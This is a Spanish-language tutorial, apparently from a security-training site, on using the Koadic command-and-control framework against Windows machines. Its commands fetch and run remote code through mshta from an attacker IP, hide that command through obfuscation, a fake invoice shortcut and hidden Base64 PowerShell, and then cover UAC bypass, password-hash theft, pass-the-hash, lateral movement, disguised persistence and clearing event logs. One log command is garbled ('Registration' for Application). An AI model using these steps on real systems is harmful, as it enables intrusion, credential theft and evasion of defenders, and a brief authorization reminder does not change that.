Koadic: Post-Explotación con Script Host

https://www.onlinetis.com/es/

Koadic: Post-Explotación con Script Host

Koadic (también conocido como C3_Modular_C2) es una herramienta de post-explotación muy potente, similar a Metasploit o PowerShell Empire, pero con una diferencia clave: utiliza Windows Script Host (JScript y VBScript) para sus operaciones.

Aquí tienes una guía rápida en español para que lo pongas a rodar en Kali Linux.

1. ¿Qué es Koadic?

Koadic es un framework de "Comando y Control" (C2) que se especializa en moverse lateralmente en entornos Windows utilizando scripts legítimos del sistema. Esto lo hace muy difícil de detectar para muchos antivirus tradicionales, ya que no suele inyectar código en memoria de la misma forma que un exploit común.

2. Instalación en Kali Linux

Koadic no siempre viene preinstalado, pero configurarlo es sencillo:

Clona el repositorio:

Bash

git clone https://github.com/zerosum0x0/koadic.git

Entra al directorio:
Bash
```
cd koadic
```
Instala las dependencias:
Bash
```
pip3 install -r requirements.txt
```
Ejecútalo:
Bash
```
./koadic
```

3. Conceptos Básicos (Uso)

El flujo de trabajo en Koadic se divide principalmente en dos partes: Stagers y Implants.

A. Configurar el Stager (El "Anzuelo")

El stager es el código que el objetivo debe ejecutar para darte acceso. El más común es mshta.

use stager/js/mshta (Selecciona el módulo).
set LHOST <TU_IP_KALI> (Configura tu IP).
execute (Genera el comando).

Koadic te dará una línea de comando que parece algo como:

mshta http://192.168.1.10:9999/alpha

B. Los Implants (La "Carga útil")

Una vez que la víctima ejecuta el comando y obtienes una sesión (llamada "Zombie"), puedes usar los Implants para:

Robar contraseñas (implant/password/hashdump).
Ejecutar comandos de shell (implant/manage/exec_cmd).
Hacer capturas de pantalla.

4. Comandos Útiles dentro de Koadic

Comando	Descripción
`zombies`	Lista todas las máquinas que has comprometido.
`zombies <ID>`	Interactúa con una máquina específica.
`cmdshell <ID>`	Abre una terminal interactiva en el objetivo.
`kill <ID>`	Cierra la conexión con el zombie.
`exit`	Sale del framework.

Nota de seguridad: Recuerda que Koadic es una herramienta de auditoría. Úsala solo en entornos controlados o con autorización explícita. ¡No querrás terminar en el lado equivocado de la ley!

Vamos a configurar un escenario básico pero efectivo. En este ejemplo, usaremos el stager mshta, que es uno de los más clásicos porque utiliza un binario legítimo de Windows (mshta.exe) para ejecutar nuestro código malicioso en memoria.

Escenario: Obtener tu primer "Zombie"

Sigue estos pasos dentro de la consola de Koadic:

Paso 1: Seleccionar y configurar el Stager

El stager creará un servidor web temporal en tu Kali que servirá el payload.

Cargar el módulo:
Bash
```
use stager/js/mshta
```
Configurar tu dirección IP (LHOST):
Asegúrate de usar la IP de tu interfaz de red en Kali (puedes verla con ip a).
Bash
```
set LHOST 192.168.1.15  # Cambia esto por tu IP real
```
Configurar el puerto (opcional):
Por defecto es el 9999, pero puedes cambiarlo si quieres.
Bash
```
set LPORT 4444
```
Lanzar el listener:
Bash
```
run
```

Koadic te mostrará una línea en amarillo/verde que dice algo como:

mshta http://192.168.1.15:4444/pwn

Paso 2: Ejecución en la víctima

Copia esa línea y ejecútala en la máquina Windows de prueba (puedes pegarla directamente en el buscador de Windows o en una terminal cmd).

¿Qué pasa detrás de escena? Windows descarga el archivo .hta desde tu Kali y lo ejecuta usando el motor de JScript, saltándose muchas restricciones de ejecución de archivos .exe convencionales.

Paso 3: Interactuar con el Zombie

Una vez ejecutado, en tu consola de Koadic aparecerá un mensaje: ID 0: Zombie 192.168.1.20 connected!.

Listar tus víctimas:
Bash
```
zombies
```
Interactuar con el Zombie:
Si quieres ejecutar comandos de consola directamente:
Bash
```
cmdshell 0
```
(Aquí ya puedes escribir whoami, dir, etc. Para salir de la shell escribe exit).

Paso 4: Escalar privilegios (Ejemplo de Implant)

Si quieres saber si el usuario tiene privilegios de administrador, podemos usar un "Implant":

Cargar el módulo de chequeo:
Bash
```
use implant/manage/check_privs
```
Seleccionar el zombie:
Bash
```
set ZOMBIE 0
```
Ejecutar:
Bash
```
run
```

Resumen de comandos rápidos

Objetivo	Comando
Ver opciones del módulo	`info`
Volver al menú principal	`back`
Listar todos los módulos	`show modules`

En un entorno real, si alguien ve un comando que empieza por mshta http://..., sospechará de inmediato. Además, los sistemas de seguridad modernos como EDR o incluso el Historial de PowerShell pueden detectar estas cadenas de texto.

Aquí tienes tres formas de "maquillar" u ocultar un poco más la ejecución de Koadic:

1. Uso de variables de entorno (Ofuscación básica)

En lugar de escribir la URL directamente, podemos trocearla usando variables del sistema de Windows para engañar a los filtros de palabras clave.

Comando original:

mshta http://192.168.1.15:4444/pwn

Comando ofuscado en CMD:

DOS
set a=msh& set b=ta& set c=http://192.168.1.15:4444/pwn& %a%%b% %c%

Aquí estamos reconstruyendo el comando mshta uniendo las variables %a% y %b% en tiempo de ejecución.

2. Ejecución vía Atajos de Windows (`.lnk`)

Esta es una técnica clásica de ingeniería social. No envías un comando, envías un "archivo" que parece inofensivo.

En una máquina Windows, haz clic derecho -> Nuevo -> Acceso directo.
En la ubicación del elemento, pega tu comando de Koadic:
mshta.exe http://192.168.1.15:4444/pwn
Ponle un nombre sugerente como Factura_Pendiente o Reporte_Trimestral.
Cambia el icono: Propiedades -> Acceso directo -> Cambiar icono... (elige uno que parezca un PDF o una carpeta).
Cuando la víctima haga doble clic, se ejecutará el comando de Koadic en segundo plano.

3. Invocación desde PowerShell (Base64)

PowerShell permite ejecutar comandos codificados en Base64, lo que oculta completamente la URL y el binario a simple vista.

Paso a paso:

Toma tu comando: mshta http://192.168.1.15:4444/pwn
Codifícalo (puedes usar sitios como CyberChef o la terminal de Kali):
Bash
```
echo -n "mshta http://192.168.1.15:4444/pwn" | iconv -t utf-16le | base64 -w 0
```
Resultado: bXNodGEgaHR0cDovLzE5Mi4xNjguMS4xNTo0NDQ0L3B3bg== (ejemplo).

Ejecútalo así:

PowerShell
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <TU_CODIGO_BASE64>

¿Por qué funciona esto?

Al usar -WindowStyle Hidden, la terminal se abre y se cierra tan rápido que el usuario apenas nota un parpadeo, mientras que el proceso mshta queda corriendo de forma independiente, conectando tu Kali con el objetivo.

Tip de Pro: Si quieres ir un paso más allá, Koadic tiene módulos de "UAC Bypass" (para saltar el control de cuentas de usuario).

Una vez que tienes un "Zombie" conectado, el siguiente gran objetivo en una auditoría es el Privilege Escalation (Escalada de Privilegios). Pasar de un usuario normal a SYSTEM (el nivel más alto en Windows) te permite leer cualquier archivo, desactivar el antivirus o extraer las contraseñas de otros usuarios.

Koadic facilita esto con módulos específicos de UAC Bypass.

Paso 1: Verificar tus privilegios actuales

Antes de intentar escalar, debes saber dónde estás parado. Usa el módulo que mencionamos antes:

use implant/manage/check_privs
set ZOMBIE 0 (o el ID que tengas).
run

Si en los resultados ves Admin: False, necesitas escalar.

Paso 2: Ejecutar un UAC Bypass

Windows tiene una función llamada UAC (User Account Control) que pide permiso al usuario cuando un programa intenta hacer cambios sensibles. Los módulos de bypass intentan saltarse esa ventana emergente aprovechando procesos de confianza de Windows.

Uno de los más efectivos en versiones modernas de Windows es el que usa el visor de eventos (eventvwr):

Selecciona el módulo:
Bash
```
use implant/elevate/uac/eventvwr
```
Configura el Zombie:
Bash
```
set ZOMBIE 0
```
Configura el Payload (Payload ID):
Koadic necesita saber qué ejecutar una vez que rompa el UAC. Normalmente, le pedimos que ejecute el mismo Stager que usamos al principio para que nos devuelva una segunda sesión, pero esta vez con privilegios de administrador.
- Mira tus stagers activos con el comando stagers.
- Copia el ID (ejemplo: 0).
- set PAYLOAD_ID 0
Ejecuta:
Bash
```
run
```

Paso 3: Confirmar el éxito

Si el bypass funciona, verás que aparece un nuevo Zombie en tu lista (Zombie ID 1).

Escribe zombies.
Verás que el nuevo zombie tiene un asterisco * o indica que es Admin.
Ahora, con ese nuevo Zombie, puedes intentar el "Santo Grial" de la post-explotación: Extraer los hashes de las contraseñas.

Bash

use implant/password/hashdump
set ZOMBIE 1
run

¿Qué acabas de obtener?

Al ejecutar el hashdump, Koadic te devolverá algo como esto:

Administrador:500:aad3b435...:31d6cfe0...:::

Esos son los hashes NTLM. No necesitas la contraseña en texto plano; puedes usar herramientas como John the Ripper para crackearlas o usar la técnica Pass-the-Hash para moverte a otras máquinas de la red.

Dato curioso: Muchos EDR (antivirus avanzados) vigilan específicamente el proceso eventvwr.exe. Si este falla, Koadic tiene otros como fodhelper o sdclt.

¡Aquí es donde las cosas se ponen realmente interesantes! El Movimiento Lateral es el arte de saltar de una computadora ya comprometida a otra dentro de la misma red interna.

Imagina que ya tienes privilegios de Administrador (SYSTEM) en la primera máquina (Zombie 0). Ahora queremos "contagiar" a la computadora de al lado.

Aquí tienes las 3 formas más comunes de hacerlo usando Koadic y herramientas de Kali:

1. El método "Pass-the-Hash" (El más elegante)

Si lograste sacar los hashes con hashdump, no necesitas romper la contraseña. Puedes usar el hash directamente para entrar en otras máquinas que compartan el mismo administrador (muy común en redes empresariales).

En Kali, puedes usar Impacket (una navaja suiza de protocolos de red):

Copia el hash NTLM (la segunda parte larga, después de los dos puntos).
Ejecuta en tu terminal de Kali:
Bash
```
impacket-psexec Administrador@192.168.1.50 -hashes :31d6cfe0ad442971017e9d...
```
Si el hash es válido, ¡PUM!, tendrás una shell de Administrador en la nueva IP.

2. Usando Koadic para propagarse (WMI)

Koadic tiene un módulo integrado para esto que usa WMI (Windows Management Instrumentation), una herramienta de administración legítima que rara vez levanta sospechas.

Selecciona el módulo de movimiento lateral:
Bash
```
use implant/pivot/exec_wmi
```

Configura el objetivo (la nueva víctima):

Bash

set RHOST 192.168.1.55  # La IP de la segunda máquina

Configura las credenciales:
Aquí pones el usuario y la contraseña (o el hash) que robaste de la primera máquina.
Bash
```
set USERNAME Administrador
set PASSWORD P@ssword123!  # O el hash si el módulo lo soporta
```
Configura el Payload:
Dile que ejecute tu stager original para que la nueva máquina también aparezca como un Zombie en tu panel.
Bash
```
set PAYLOAD_ID 0
```
Ejecuta:
Bash
```
run
```

3. Escaneo de red desde el "Zombie"

Si no sabes qué otras máquinas hay en la red, no uses un escáner ruidoso como Nmap desde fuera. Usa el propio Zombie para "mirar a su alrededor" de forma discreta.

Carga el módulo de escaneo:
Bash
```
use implant/scan/tcp
```

Define el rango de red:

Bash
set RHOSTS 192.168.1.1-254
set PORT 445  # Buscamos el puerto SMB (el de compartir archivos/impresoras)

Ejecuta:
Bash
```
run
```
Esto te dirá qué computadoras tienen el puerto 445 abierto, que son tus candidatas perfectas para moverte lateralmente.

Resumen de la estrategia de Red Team

Paso	Acción	Herramienta
1. Recon	Ver quién está en la red local.	`implant/scan/tcp`
2. Loot	Robar hashes de la memoria.	`implant/password/hashdump`
3. Pivot	Saltar a la siguiente máquina.	`implant/pivot/exec_wmi` o `psexec`

Ojo con esto: El movimiento lateral suele disparar alertas en los Controladores de Dominio (Active Directory). Si la red tiene un sistema de monitoreo decente, verán que un usuario se está logueando en muchas máquinas al mismo tiempo.

Mantener el acceso después de un reinicio se conoce como Persistencia. Sin ella, si el usuario apaga su computadora al final del día, perderás tu sesión de Koadic y tendrías que convencerlo de ejecutar el comando de nuevo.

Koadic tiene módulos integrados para automatizar esto, aprovechando lugares donde Windows busca programas para ejecutar al arrancar.

1. Persistencia mediante el Registro (Run Key)

Es el método más común. Consiste en añadir una entrada en el Registro de Windows para que el stager se ejecute cada vez que el usuario inicie sesión.

Selecciona el módulo:
Bash
```
use implant/persist/registry
```

Configura el Zombie:

Bash

set ZOMBIE 1  (Asegúrate de que sea uno con privilegios de Admin)

Configura el Payload:
Debes decirle qué comando quieres que se ejecute al reiniciar. Usa el ID de tu stager activo.
Bash
```
set PAYLOAD_ID 0
```
Nombre de la clave:
Para que sea discreto, cámbiale el nombre a algo que parezca del sistema.
Bash
```
set KEYNAME "WindowsUpdate"
```
Ejecuta:
Bash
```
run
```

2. Persistencia mediante Tareas Programadas (Scheduled Tasks)

Este método es más potente porque permite que el comando se ejecute incluso si el usuario no ha iniciado sesión, o que se repita cada cierto tiempo (por ejemplo, cada hora).

Selecciona el módulo:
Bash
```
use implant/persist/schtasks
```

Configura los parámetros:

Bash
set ZOMBIE 1
set PAYLOAD_ID 0
set TASKNAME "SystemTelemetry"

Ejecuta:
Bash
```
run
```

Esto creará una tarea en el "Programador de tareas" de Windows que llamará a tu servidor Koadic automáticamente.

3. Persistencia en la carpeta "Startup"

Es el método más sencillo y menos "sigiloso", pero efectivo en máquinas antiguas o mal configuradas. Simplemente coloca un archivo .hta o un script en la carpeta de Inicio del usuario.

Ruta típica: C:\Users\<Usuario>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Comparativa de Métodos de Persistencia

Método	Nivel de Sigilo	Dificultad de Detección
Registry (Run)	Medio	Los antivirus suelen monitorear estas claves.
Scheduled Tasks	Alto	Es común tener cientos de tareas; una más pasa desapercibida.
Startup Folder	Bajo	Es lo primero que revisa un técnico si la PC va lenta.
WMI Event	Muy Alto	Muy difícil de encontrar sin herramientas forenses.

¿Cómo saber si funcionó?

Una vez ejecutado el módulo de persistencia:

Reinicia la máquina víctima (puedes hacerlo desde Koadic con implant/manage/reboot).
Espera un par de minutos a que Windows arranque.
Si todo salió bien, verás una nueva conexión automática en tu consola de Koadic sin que nadie haya tenido que hacer clic en nada.

Advertencia de limpieza: Cuando termines tus pruebas, recuerda borrar estas claves de registro o tareas programadas. ¡No querrás dejar una puerta trasera abierta permanentemente en el equipo!

Un buen profesional de seguridad (o Red Teamer) siempre deja la casa tal como la encontró. El proceso de borrar huellas se llama Anti-Forensics y es crucial para no dejar rastro en los registros del sistema (Event Viewer) o en el disco duro.

Aquí tienes cómo hacer una limpieza efectiva después de usar Koadic:

1. Eliminar la Persistencia (El primer paso)

Si creaste una tarea programada o una clave de registro, debes borrarla. Si no lo haces, la máquina seguirá intentando conectarse a tu IP cada vez que arranque.

Para Tareas Programadas:
En la CMD del zombie (usando cmdshell):
DOS
```
schtasks /delete /tn "SystemTelemetry" /f
```

Para el Registro (Run Key):

DOS

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f

2. Borrar los Visores de Eventos (Event Logs)

Windows registra casi todo: inicios de sesión, ejecuciones de comandos y errores. Borrar estos logs es la forma más rápida de "desaparecer" de los ojos de un administrador.

Koadic tiene un comando directo para esto una vez que eres Admin:

Entra en la shell del zombie: cmdshell <ID>
Ejecuta el comando para limpiar los tres logs principales (Aplicación, Sistema y Seguridad):
DOS
```
wevtutil cl Registration
wevtutil cl System
wevtutil cl Security
```
Nota: Borrar todos los logs de golpe puede ser sospechoso en empresas muy grandes, pero es efectivo para eliminar evidencias de ejecución.

3. Limpiar el Historial de PowerShell

Si usaste comandos de PowerShell para ejecutar tus stagers, Windows 10 y 11 guardan un historial de todo lo que escribiste en un archivo de texto.

Borrar el historial de la sesión actual:

PowerShell

Clear-History

Borrar el archivo físico donde se guarda el historial:

PowerShell
Remove-Item (Get-PSReadLineOption).HistorySavePath -Force

4. Eliminar Archivos Temporales

Si descargaste algún archivo .hta, .exe o scripts temporales, asegúrate de borrarlos usando el comando del de Windows:

DOS

del /f /q C:\Users\<Usuario>\AppData\Local\Temp\*.*

Resumen de Limpieza (Checklist)

Qué limpiar	Comando / Método	Importancia
Persistencia	`schtasks /delete` o `reg delete`	Crítica (evita reconexiones)
Logs de Eventos	`wevtutil cl`	Alta (borra el rastro de actividad)
Historial PS	`Clear-History`	Media (oculta comandos usados)
Archivos Temp	`del /f`	Baja (limpia espacio y archivos)

Un último consejo de "Ninja"

En lugar de borrar todos los logs (lo cual es ruidoso), los expertos prefieren detener el servicio de registro de eventos antes de empezar la operación, o usar herramientas que borran solo las líneas específicas relacionadas con tu actividad.

¡Misión cumplida! Has pasado de instalar Koadic a ejecutarlo, ocultarlo, escalar privilegios, moverte por la red, mantener el acceso y finalmente limpiar tus huellas.